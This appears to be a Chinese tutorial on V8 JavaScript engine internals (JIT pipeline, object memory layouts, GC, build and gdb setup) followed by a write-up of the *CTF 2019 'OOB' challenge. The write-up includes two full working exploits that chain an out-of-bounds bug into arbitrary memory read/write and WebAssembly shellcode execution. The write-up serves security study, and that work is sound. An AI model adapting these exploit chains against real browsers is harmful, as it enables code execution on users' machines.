cover

基础知识

v8是chrome浏览器的 JavaScript 引擎,是著名的 JIT(Just In Time) 引擎。在Chromium项目中起到至关重要的作用。作为一款jit引擎,其工作模式如下图所示:

image-20220601144046089

  1. Parser是 JS 源代码的入口,接受javascript 源文件作为输入
  2. Interpreter 负责从 Javascript AST 生成 bytecodes,同时也可以基于bytecode直接生成机器代码。在 V8 中该组件名为Ignition。
  3. JIT Complier: Turbofan作为 V8 中的优化器,其作用是将字节码优化成为固定的机器代码。在优化过程中,V8 引入了SSA(静态单赋值)形式的中间代码简化编译器的优化算法,在其若干优化过程(PASS)中实现安全的 JIT 代码生成。
  4. Runtime:提供各种数据结构的实现以及buildin函数等等。
  5. GC:V8的垃圾回收器。

Ignition

位于src/interpreter/bytecode-generator.h中的 BytecodeGenerator实现了AstVisitor,将在遍历Javascript AST中创建相应的字节码。字节码的生成方法为是BytecodeGenerator::GenerateBytecode

针对单个字节码来说,v8 实现了 Ignition_handler ,可以遍历解释执行前面生成的bytecodes, 例如:

值得一提的是,以上Ignition_handler中采用了CSA(CodeStubAssembler),这是一种类似于汇编的语言,保持了platform-independent的同时也具备一定的可读性。这样,Ignition顺序执行字节码对应的handler的过程看起来就像这样:

总的来说,可以把Ignition当作一个解释器或者低级的翻译器,字节码可以在调试v8的时候通过—print-bytecode打印。

Turbofan

Turbofan是整个v8最为核心最为复杂的部分。优化过程中采用了基于sea of node思想设计的中间语言。这是一种Program Dependence Graph,其宗旨是“在统一的表达形式下,把分析进行彻底”。用这样的IR所表达的程序是由经过完全的程序分析后产生的节点组成,这种节点可以依赖别的节点,本身也可以被别的节点依赖。各种 IR 操作并不操作变量,而是代表从依赖获取输入节点,经运算后产生新的节点这样的行为。这样,Turbofan 针对每个节点的优化变得相对独立,因为其自身会携带足够依赖信息来判明它在怎样的路径上有效,依赖的数据输入是哪些。

TurboFan的依赖信息有三种 Control , Data , Effect

Control dependence:Control Dependence(控制依赖)可以看作是常规控制流图反过来画。不是基本块持有一个线性列表里面装着节点,而是每个节点都记录着自己的控制依赖是谁——要哪个前驱控制节点执行到的时候才可以执行。

Data dependence:Data Dependence就是use-def链,换句话说一个节点的数据输入都是谁。例如说 a + b,这个“+”的数据依赖就是a和b。

Effect dependence:可以理解为内存状态的操作依赖,单独描述内存的操作顺序,记录的是内存操作

例如,对于obj[x] = obj[x] + 1来说,对应的IR为:

该图表明了一种依赖关系:load->add->store

其次,由于Javascript为弱类型语言,而JIT代码往往是针对某种类型特定优化的,错误的类型很可能会导致安全问题。因此为了提高安全性,Turbofan在JIT代码中会插入类型检查,其工作模式如下图

Runtime

Tagged Value:

  • 最低位LSB标志位
  • SMI: SMall Integer,将最后一bit清零,访问的时候当作SMI
  • HeapObject:最后一位置1,访问的时候减去1然后取内存中的值再来访问
  • 可以理解为存储了简单的数据类型,更复杂的数据类型信息存储在map

JavaScript数据结构

Object

const o = {x:0x41, y:0x42};
o.z = 0x43;
o[0] = 0x91;
o[1] = 0x92;

调试发现数据结构和网络资料有出入,例如大部分数据访问都需要加偏移,本文使用的d8版本为11.0.0.

pwndbg> job 0x14c60037c56d
0x14c60037c56d: [JS_OBJECT_TYPE]
 - map: 0x14c600258cb1 <Map[20](HOLEY_ELEMENTS)> [FastProperties] //指向内部类
 - prototype: 0x14c600243b99 <Object map = 0x14c600243255>
 - elements: 0x14c60037c60d <FixedArray[17]> [HOLEY_ELEMENTS]
 - properties: 0x14c60037c5f9 <PropertyArray[3]>
 - All own properties (excluding elements): {
    0x14c6000041ed: [String] in ReadOnlySpace: #x: 65 (const data field 0), location: in-object
    0x14c6000041fd: [String] in ReadOnlySpace: #y: 66 (const data field 1), location: in-object
    0x14c60000420d: [String] in ReadOnlySpace: #z: 67 (const data field 2), location: properties[0]
 }
 - elements: 0x14c60037c60d <FixedArray[17]> {
           0: 145
           1: 146
        2-16: 0x14c600002459 <the_hole>
 }
pwndbg> x/20xg 0x14c60037c56c
0x14c60037c56c:    0x[0037c5f9](properties)[00258cb1](map)    0x00000082[0037c60d](elements)
0x14c60037c57c:    0x00007bb100000084    0x0000000000010001
0x14c60037c58c:    0x000041ed00002225    0x0000000200000084
0x14c60037c59c:    0x0002000200007bb1    0x0000222500000000
0x14c60037c5ac:    0x00000484000041ed    0x000041fd00000002
0x14c60037c5bc:    0x0000000200100084    0x0003000300007bb1
0x14c60037c5cc:    0x0000222500000000    0x00000484000041ed
0x14c60037c5dc:    0x000041fd00000002    0x0000000200100084
0x14c60037c5ec:    0x002008840000420d    0x00002d1900000002
0x14c60037c5fc:    0x0000008600000006    0x000023e1000023e1

// properties
pwndbg> job 0x14c60037c5f9 
0x14c60037c5f9: [PropertyArray]
 - map: 0x14c600002d19 <Map(PROPERTY_ARRAY_TYPE)>
 - length: 3
 - hash: 0
           0: 67
         1-2: 0x14c6000023e1 <undefined>
pwndbg> x/20xg 0x14c60037c5f8 
0x14c60037c5f8:    0x[00000006](length*2)[00002d19](map)    0x000023e100000086
0x14c60037c608:    0x00002231000023e1    0x0000012200000022
0x14c60037c618:    0x0000245900000124    0x0000245900002459
0x14c60037c628:    0x0000245900002459    0x0000245900002459
0x14c60037c638:    0x0000245900002459    0x0000245900002459
0x14c60037c648:    0x0000245900002459    0x0000245900002459
0x14c60037c658:    0x000022590024ac49    0x000023e100002259
0x14c60037c668:    0x0000000280000000    0x0000000280000000
0x14c60037c678:    0x0100001000000000    0x00007fffac003360
0x14c60037c688:    0x0000000000000002    0x0000000000000000

//elements
pwndbg> job 0x14c60037c60d 
0x14c60037c60d: [FixedArray]
 - map: 0x14c600002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 17
           0: 145
           1: 146
        2-16: 0x14c600002459 <the_hole>

pwndbg> x/20xg 0x14c60037c60c
0x14c60037c60c:    0x[00000022](length*2)[00002231](map)    0x0000012400000122
0x14c60037c61c:    0x0000245900002459    0x0000245900002459
0x14c60037c62c:    0x0000245900002459    0x0000245900002459
0x14c60037c63c:    0x0000245900002459    0x0000245900002459
0x14c60037c64c:    0x0000245900002459    0x0024ac4900002459
0x14c60037c65c:    0x0000225900002259    0x80000000000023e1
0x14c60037c66c:    0x8000000000000002    0x0000000000000002
0x14c60037c67c:    0xac00336001000010    0x0000000200007fff
0x14c60037c68c:    0x0000000000000000    0x0000000000000000
0x14c60037c69c:    0xbeadbeefbeadbeef    0xbeadbeefbeadbeef

构造法1

const o = new Object();
o.foo = {}
pwndbg> job 0x2f1f0037ebad
0x2f1f0037ebad: [JS_OBJECT_TYPE]
 - map: 0x2f1f00258c35 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x2f1f00243b99 <Object map = 0x2f1f00243255>
 - elements: 0x2f1f00002259 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x2f1f00002259 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x2f1f00257511: [String] in OldSpace: #foo: 0x2f1f0037ebc9 <Object map = 0x2f1f00243a4d> (const data field 0), location: in-object
 }

构造法2

const o = {'foo':{}};
pwndbg> job 0x3428002b60bd
0x3428002b60bd: [JS_OBJECT_TYPE]
 - map: 0x342800258c29 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x342800243b99 <Object map = 0x342800243255>
 - elements: 0x342800002259 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x342800002259 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x342800257511: [String] in OldSpace: #foo: 0x3428002b60cd <Object map = 0x342800243a4d> (const data field 0), location: in-object
 }

区别不大

索引类集合:数组和类型化数组

Array

数组是一种以整数为键(integer-keyed)的属性并与长度(length)属性关联的常规对象。

构造法1

const arr = [{}];
pwndbg> job 0x224600348151
0x224600348151: [JSArray]
 - map: 0x22460024da41 <Map[16](PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x22460024d421 <JSArray[0]>
 - elements: 0x224600348169 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x224600002259 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x224600006551: [String] in ReadOnlySpace: #length: 0x224600204255 <AccessorInfo name= 0x224600006551 <String[6]: #length>, data= 0x2246000023e1 <undefined>> (const accessor descriptor), location: descriptor
 }
 - elements: 0x224600348169 <FixedArray[1]> {
           0: 0x224600348175 <Object map = 0x224600243a4d>
 }
pwndbg> job 0x224600348175
0x224600348175: [JS_OBJECT_TYPE]
 - map: 0x224600243a4d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x224600243b99 <Object map = 0x224600243255>
 - elements: 0x224600002259 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x224600002259 <FixedArray[0]>
 - All own properties (excluding elements): {}

构造法2

const arr = new Array({});
pwndbg> job 0x3670033ebc9
0x3670033ebc9: [JSArray]
 - map: 0x03670024da41 <Map[16](PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x03670024d421 <JSArray[0]>
 - elements: 0x03670033ebe1 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x036700002259 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x36700006551: [String] in ReadOnlySpace: #length: 0x036700204255 <AccessorInfo name= 0x036700006551 <String[6]: #length>, data= 0x0367000023e1 <undefined>> (const accessor descriptor), location: descriptor
 }
 - elements: 0x03670033ebe1 <FixedArray[1]> {
           0: 0x03670033ebad <Object map = 0x36700243a4d>
 }
pwndbg> job 0x03670033ebad 
0x3670033ebad: [JS_OBJECT_TYPE]
 - map: 0x036700243a4d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x036700243b99 <Object map = 0x36700243255>
 - elements: 0x036700002259 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x036700002259 <FixedArray[0]>
 - All own properties (excluding elements): {}

是有区别的,第一种方法,object后于array分配,object的地址比array高,第二种方法相反,object先于array分配。但是无论是哪种情况,elements都只在array后面了。

类型化数组

类型化数组表示底层二进制缓冲区的类数组视图,并且提供了与数组相对应的类似语义的方法。“类型化数组”是一系列数据结构的总话术语,包括 Int8Array、Float32Array 等等。类型化数组通常与 ArrayBuffer 和 DataView 一起使用。

ArrayBuffer

ArrayBuffer 是一种数据类型,用来表示一个通用的、固定长度的二进制数据缓冲区。你不能直接操作 ArrayBuffer 中的内容;你需要创建一个类型化数组的视图( TypedArray )或一个描述缓冲数据格式的 DataView,使用它们来读写缓冲区中的内容。

const ab = new ArrayBuffer(20);

backing_store存放的是值

pwndbg> job 0x2cf6002a2a5d 
0x2cf6002a2a5d: [JSArrayBuffer]
 - map: 0x2cf60024ac49 <Map[68](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x2cf60024ad1d <Object map = 0x2cf60024ac71>
 - elements: 0x2cf600002259 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x2cf700001000
 - byte_length: 20
 - max_byte_length: 20
 - detach key: 0x2cf6000023e1 <undefined>
 - detachable
 - properties: 0x2cf600002259 <FixedArray[0]>
 - All own properties (excluding elements): {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }

类型化数组的视图 TypedArray

以Uint32Array为例

const ab = new ArrayBuffer(20);
const ua = new Uint32Array(ab);

ua->buffer指向ArrayBuffer

pwndbg> job 0x2cf6002a2aa1
0x2cf6002a2aa1: [JSTypedArray]
 - map: 0x2cf60024a6a5 <Map[72](UINT32ELEMENTS)> [FastProperties]
 - prototype: 0x2cf60024a739 <Object map = 0x2cf60024a6cd>
 - elements: 0x2cf6000034c9 <ByteArray[0]> [UINT32ELEMENTS]
 - embedder fields: 2
 - buffer: 0x2cf6002a2a5d <ArrayBuffer map = 0x2cf60024ac49>
 - byte_offset: 0
 - byte_length: 20
 - length: 5
 - data_ptr: 0x2cf700001000
   - base_pointer: (nil)
   - external_pointer: 0x2cf700001000
 - properties: 0x2cf600002259 <FixedArray[0]>
 - All own properties (excluding elements): {}
 - elements: 0x2cf6000034c9 <ByteArray[0]> {
           0: 123
           1: 234
         2-4: 0
 }
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }

描述缓冲数据格式的 DataView

const ab = new ArrayBuffer(20);
const dv = new DataView(ab);

dv->buffer指向ArrayBuffer

pwndbg> job 0x5610029d9a1
0x5610029d9a1: [JSDataView]
 - map: 0x056100248839 <Map[60](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x056100248a59 <Object map = 0x56100248861>
 - elements: 0x056100002259 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - buffer =0x05610029d915 <ArrayBuffer map = 0x5610024ac49>
 - byte_offset: 0
 - byte_length: 20
 - properties: 0x056100002259 <FixedArray[0]>
 - All own properties (excluding elements): {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }

带键的集合:Map、Set、WeakMap、WeakSet

Map
const map1 = new Map();
map1.set('a', 1);
map1.set('b', 2);
map1.set('c', 3);
pwndbg> job 0xec6001dc8b5
0xec6001dc8b5: [JSMap]
 - map: 0x0ec6002455f5 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0ec600245735 <Object map = 0xec60024561d>
 - elements: 0x0ec600002259 <FixedArray[0]> [HOLEY_ELEMENTS]
 - table: 0x0ec6001dc8c5 <OrderedHashMap[17]>
 - properties: 0x0ec600002259 <FixedArray[0]>
 - All own properties (excluding elements): {}
Set
let mySet = new Set();
mySet.add(1); // Set [ 1 ]
mySet.add(5); // Set [ 1, 5 ]
mySet.add(5); // Set [ 1, 5 ]
mySet.add("some text"); // Set [ 1, 5, "some text" ]
let o = {a: 1, b: 2};
mySet.add(o);
pwndbg> job 0x3cb0001ac2a9
0x3cb0001ac2a9: [JSSet]
 - map: 0x3cb000248549 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3cb00024867d <Object map = 0x3cb000248571>
 - elements: 0x3cb000002259 <FixedArray[0]> [HOLEY_ELEMENTS]
 - table: 0x3cb0001ac2b9 <OrderedHashSet[13]>
 - properties: 0x3cb000002259 <FixedArray[0]>
 - All own properties (excluding elements): {}

builtin

在V8中,buildin可以看作是VM在Runtime中可执行的代码块,由引擎本身实现,除了实现一些 js 语言带有的操作之外,还可以实现一些内置功能。例如 builtins-array.cc 和数组相关的一些函数:array.fill,slice,fush…,是turbofan inline 的对象。

GC

V8 实现了准确式 GC,GC 算法方面采用了分代垃圾回收。

  • 新生代GC:GC复制算法,Cheney的GC复制算法
  • 老年代GC:GC 标记-清除算法,GC标记-压缩算法

新生代中的对象为存活时间较短的对象,老生代中的对象为存活时间较长或常驻内存的对象,分别对新老生代采用不同的垃圾回收算法来提高效率,对象最开始都会先被分配到新生代(如果新生代内存空间不够,直接分配到老生代),新生代中的对象会在满足某些条件后,被移动到老生代,这个过程叫晋升。

对象晋升的条件主要有两个:

  • 对象从From空间复制到To空间时,会检查它的内存地址来判断这个对象是否已经经历过一次Scavenge回收。如果已经经历过了,会将该对象从From空间移动到老生代空间中,如果没有,则复制到To空间。总结来说,如果一个对象是第二次经历从From空间复制到To空间,那么这个对象会被移动到老生代中。

  • 当要从From空间复制一个对象到To空间时,如果To空间已经使用了超过25%,则这个对象直接晋升到老生代中。设置25%这个阈值的原因是当这次Scavenge回收完成后,这个To空间会变为From空间,接下来的内存分配将在这个空间中进行。如果占比过高,会影响后续的内存分配。

环境搭建

1.安装depot_tools

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc

2.安装ninja

git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc

3.下载v8

fetch v8 && cd v8&& gclient sync

4.配置参数

v8gen生成默认参数

v8$ tools/dev/v8gen.py x64.debug
v8/out.gn/x64.debug$ cat args.gn
is_debug = true
target_cpu = "x64"
v8_enable_backtrace = true
v8_enable_slow_dchecks = true
v8_optimized_debug = false

自定义参数

gn gen out/x64.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'

查看所有的可用参数

gn args --list out.gn/x64.debug/

5.编译

ninja -C out.gn/x64.debug

6.运行

./out.gn/x64.debug/d8
./out.gn/x64.debug/shell

7.调试脚本

cp /home/q1iq/Documents/v8/tools/gdbinit /home/q1iq/env/gdbinit_v8
vim ~/.gdbinit 
填入 source /home/q1iq/env/gdbinit_v8

调试选项 d8 --allow-natives-syntax test.js

%SystemBreak();
%DebugPrint(obj);

调试的时候发现有个点,就是gdb启动d8的时候,必须在编译的目录下面,要不就找不到符号(用相对路径调了半天没符号才发现这个问题)。

q1iq@ubuntu:~/Documents/v8/out/x64_hitcon.release$ gdb ./d8
GNU gdb (Ubuntu 10.1-2ubuntu2) 10.1.90.20210411-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 191 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./d8...
pwndbg> 

这样就找不到符号:

q1iq@ubuntu:~/Documents/v8/out$ gdb ./x64_hitcon.release/d8 
GNU gdb (Ubuntu 10.1-2ubuntu2) 10.1.90.20210411-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 191 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./x64_hitcon.release/d8...

warning: Could not find DWO CU obj/d8/d8.dwo(0xeef7718e4aa453d4) referenced by CU at offset 0xf4 [in module /home/q1iq/Documents/v8/out/x64_hitcon.release/d8]
pwndbg> Quit

starctf 2019 OOB

下载题目、编译,d8版本为7.5.0

git clone https://github.com/sixstars/starctf2019.git
cd v8
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply ../starctf2019/pwn-OOB/oob.diff
gclient sync -D
gn gen out/x64_startctf.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
ninja -C out/x64_startctf.release d8

漏洞分析

题目给了diff文件,为Array增加了一个oob函数,实现为ArrayOob,当调用这个函数的参数的个数为1时,可以读Array的第length个成员,个数为2时,将参数1赋值给Array的第length个成员。这里ArrayOob是C++实现的成员函数,第一个参数是this指针,后面的才是js传入的参数。

因此定位到漏洞是Array对象的off by one的越界读写。

--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}

方法一

基本原理是对象数组和浮点数数组类型混淆。

  1. 篡改填充object的Array的map为Float64Array类型,访问elements中的object,可以将object的地址以float类型读出,实现任意object的地址泄露,实现为obj_to_float
  2. 用数组伪造fake Float64Array的字段(exp里是array_box),泄露数组的地址计算偏移得到fake Float64Array的地址,将这个地址转为float,用object array类型访问这个float将其混淆为object得到fake Float64Array;
  3. 将fake Float64Array的elements字段指向任意地址,实现任意地址读写;
  4. 最后wasm一把梭弹计算器。具体是首先加载一段wasm代码到内存中,再泄露存放wasm编译后的汇编的内存地址,通过任意地址写原语用shellcode替换原本wasm的代码内容,最后调用wasm的函数接口触发调用shellcode。

完整exp:

//fulfill
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
BigInt.prototype.smi2f = function() {
    int_view[0] = this << 32n;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}
Number.prototype.f2smi = function() {
    float_view[0] = this;
    return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
    return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
    return BigInt(this).smi2f();
}
function debug(){
    console.log("debug...");
    readline();
}
function gc(){
    for(var i=0;i<0x10;i++){
        new ArrayBuffer(0x1000000);
    }
}
function fail(str){
    console.log("FAIL:",str);
    throw null;
}

//trigger patch
var float_arr = [1.1,2,3,4];
var obj_sample = {"what":"ever"};
var obj_arr = [obj_sample];
var float_arr_map=float_arr.oob();
var obj_arr_map=obj_arr.oob();

function obj_to_float(o)
{
    obj_arr[0] = o;
    obj_arr.oob(float_arr_map);
    var num = obj_arr[0];
    obj_arr.oob(obj_arr_map);
    return num;
}

var array_box = [
    float_arr_map,   // fake obj  |map
    2,               //           |properties
    3,               //           |elements
    4,
    5,
    6,
    7,
    8,
    9,
    1.0,
    1.1,
    1.2,
    1.3,
    1.4,
    1.5,
    1.6
];

// leak addr of array_box
var array_box_addr = obj_to_float(array_box).f2i()-1n;
console.log(array_box_addr.hex());
//%DebugPrint(array_box);

// fake object
var fake_obj_addr = array_box_addr-0x80n;
float_arr[0] = (fake_obj_addr+1n).i2f();
float_arr.oob(obj_arr_map);
var fake_obj = float_arr[0];  //get a object whose addr is fakce_obj_addr
float_arr.oob(float_arr_map);

// Arbitrary address read 
function read64(leak_addr){
    array_box[2] =  (leak_addr - 0x10n + 0x1n).i2f();
    return fake_obj[0].f2i(); 
}

// Arbitrary address write
function write64(addr,data){  //addr, data: BigInt
    array_box[2] =  (addr - 0x10n + 0x1n).i2f();
    fake_obj[0] = data.i2f();
}

// wasm -> shellcode
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module, {});
var f = wasm_instance.exports.main;
var f_addr = obj_to_float(f).f2i()-1n;
console.log("[*] leak wasm addr: " + f_addr.hex());

var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: " + rwx_page_addr.hex());

var shellcode =[0x010101010101b848n, 0x68632eb848500101n, 0x0431480169722e6fn, 0x0cfe016ae7894824n, 0x63782f6e69b84824n, 0x3b30b84850636c61n, 0x4850622f7273752fn, 0x303a3d59414c50b8n, 0x74726f70b848502en, 0x01b8485053494420n, 0x5001010101010101n, 0x01622c016972b848n, 0xf631240431487964n, 0x56e601485e0e6a56n, 0x6a56e601485e136an, 0x894856e601485e18n, 0x050f583b6ad231e6n]

var data_buf = new ArrayBuffer(0xa0);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = obj_to_float(data_buf).f2i()-1n + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);  
for (var i = 0; i < shellcode.length; i++) {
    data_view.setFloat64(i*8, shellcode[i].i2f(), true);
}
f();

方法二

参考P1umer大佬的方法,基本原理是Object和Array的类型混淆。

构建如下obj1,obj2,用obj1的类型访问obj2.a,就可以达到覆写obj2原本的size位的效果,将size位写成一个很大的值就可以实现一定距离数组越界读写。在obj2下方构建一个Float64Array,修改Float64Array的elements,即可实现任意地址写。最后wasm一把梭。

var obj1 = {a:1,b:2};
var obj2 = new Array(10);

obj1内存布局如下:

image-20220527233721754

obj2内存布局如下:

image-20220527233750007

另外这里和法一有点区别的是,用 new Array(10);分配数组时,jsArray在FixedArray上方,var float_arr = [1.1,2,3,4];这样分配时,jsArray在FixedArray下方。

完整exp:

//fulfill
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
BigInt.prototype.smi2f = function() {
    int_view[0] = this << 32n;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}
Number.prototype.f2smi = function() {
    float_view[0] = this;
    return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
    return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
    return BigInt(this).smi2f();
}
function debug(){
    console.log("debug...");
    readline();
}
function gc(){
    for(var i=0;i<0x10;i++){
        new ArrayBuffer(0x1000000);
    }
}
function fail(str){
    console.log("FAIL:",str);
    throw null;
}

//trigger patch
var array1 = new Array(10);
//%DebugPrint(array1);
var obj1 = {a:1,b:2};

var array2 = new Array(10);
var obj2 = new Array(10);

var obj1_map=array1.oob();
var obj2_map=array2.oob();
//%DebugPrint(obj1);
//%DebugPrint(obj2);

array2.oob(obj1_map);
obj2.a=0x100;   //obj2.size
array2.oob(obj2_map);

obj2[0]=1.1; //make obj2 a Float64Array
var exp_array = new Array(10);
exp_array[0]=1.1; //make exp a Float64Array
exp_array[1]=1.2;
leak_exp_addr=obj2[19].f2i()-0x1n;   //elements of exp 
//%DebugPrint(exp);
console.log("[*] leak_exp_addr: ",leak_exp_addr.hex());

function read64(leak_addr) {
    //%SystemBreak();
    obj2[19]=(leak_addr+1n-0x10n).i2f();
    //%SystemBreak();
    return exp_array[0].f2i()
}

function write64(addr,data){
    obj2[19]=(addr+1n-0x10n).i2f();
    exp_array[0]=data.i2f();
}

// wasm -> shellcode
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module, {});
var f = wasm_instance.exports.main;
//%DebugPrint(f);
array1[0] = f;
console.log("[*] leak wasm addr in : " + (leak_exp_addr-0x358n).hex());
var f_addr = read64(leak_exp_addr-0x358n)-0x1n;
console.log("[*] leak wasm addr: " + f_addr.hex());
//%SystemBreak();
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: " + rwx_page_addr.hex());

var shellcode =[0x010101010101b848n, 0x68632eb848500101n, 0x0431480169722e6fn, 0x0cfe016ae7894824n, 0x63782f6e69b84824n, 0x3b30b84850636c61n, 0x4850622f7273752fn, 0x303a3d59414c50b8n, 0x74726f70b848502en, 0x01b8485053494420n, 0x5001010101010101n, 0x01622c016972b848n, 0xf631240431487964n, 0x56e601485e0e6a56n, 0x6a56e601485e136an, 0x894856e601485e18n, 0x050f583b6ad231e6n]

var data_buf = new ArrayBuffer(0xa0);
var data_view = new DataView(data_buf);
array1[0] = data_buf;
var buf_backing_store_addr = read64(leak_exp_addr-0x358n)-0x1n + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);  
for (var i = 0; i < shellcode.length; i++) {
    data_view.setFloat64(i*8, shellcode[i].i2f(), true);
}
f();

